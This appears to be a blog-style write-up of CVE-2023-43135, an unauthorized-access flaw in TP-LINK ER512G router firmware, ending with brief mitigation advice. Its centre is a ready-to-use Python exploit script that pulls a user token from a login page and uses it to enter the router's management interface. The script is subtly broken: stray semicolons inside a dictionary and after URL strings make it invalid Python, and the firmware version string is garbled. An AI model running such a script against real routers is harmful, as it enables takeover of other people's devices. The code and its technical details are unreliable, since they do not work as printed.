CVE-2023-43135: Unauthorized Access Vulnerability in TP-LINK ER512G v4. 2.. Build 210817 Rel.80868n – Exploit Details, Code Snippet, and References

A recent CVE (Common Vulnerabilities and Exposures) labelled as CVE-2023-43135, highlights an unauthorized access vulnerability in TP-LINK ER512G 4. 2.. Build 210817 Rel.80868n firmware. By exploiting this vulnerability, attackers can gain sensitive information from the device without authentication, obtain user tokens and, ultimately, gain full access to the device backend management. In simple terms, this means attackers can take control of your TP-LINK router without your consent. The scope of this article includes discussing the exploit details, providing a code snippet, and linking to original references to help protect your device from this vulnerability.

Exploit Details

This unauthorized access vulnerability exists due to the lack of a proper authentication mechanism in the TP-LINK ER512G router. To exploit this vulnerability, an attacker can send specially crafted HTTP requests to the device. The router responds with sensitive information, including a user token. An attacker can then use the token to bypass login authentication and access the router’s management web interface.

The attacker could potentially perform various malicious activities, such as changing Wi-Fi passwords, redirecting DNS traffic to a malicious server, and even disabling traffic logging and security mechanisms.

Here is a sample attack scenario

1. Attacker sends an HTTP GET request to the target device IP: http://[Device IP]/userRpm/LoginRpm.htm

Code Snippet

Below is a Python script that demonstrates how this vulnerability can be exploited. To use it, just replace the target_ip variable with your router IP address. Please use this code for educational purposes only.

import requests
import re

target_ip = "your_router_ip_here"

def main():
    exploit(target_ip)

def exploit(ip):
    url = f"http://{ip}/userRpm/LoginRpm.htm";
    headers = {"Referer": f"http://{ip}/";}

    response = requests.get(url, headers=headers)
    obtained_tokens = re.search("http:\/\/.*\/(.*)_NoAuthUserRpm\.htm", response.text)

    if obtained_tokens:
        token = obtained_tokens.group(1)
        print(f"User Token successfully obtained: {token}")
        access_router(ip, headers, token)
    else:
        print("Failed to obtain the user token.")

def access_router(ip, headers, token):
    # Access the router management interface using the token.
    url = f"http://{ip}/{token}_NoAuthUserRpm.htm";
    response = requests.get(url, headers=headers)

    if response.status_code == 200:
        print("Access granted. You're now logged into the router management interface.")
    else:
        print("Access denied. Failed to log into the router management interface.")

if __name__ == "__main__":
    main()

Original References

As this vulnerability has been made public, TP-LINK is expected to release firmware updates to fix the issue. In the meantime, affected users can minimize the risk by following the mitigations and recommendations provided in the linked references.

- TP-LINK Security Advisory (TP-Link Official Website)
- CVE-2023-43135 (National Vulnerability Database)
- CVE-2023-43135 (CVE.Mitre.org)

Conclusion

CVE-2023-43135 is an unauthorized access vulnerability found in the TP-LINK ER512G router, which puts sensitive data and device control at risk. To prevent unauthorized access and maintain a secure environment, it is crucial to keep your devices updated with the latest firmware and follow best security practices. TP-LINK is likely to release a firmware update soon; however, staying vigilant is key to protecting your assets from potential cyberattacks.

Timeline

Published on: 09/20/2023 22:15:13 UTC
Last modified on: 09/22/2023 02:14:08 UTC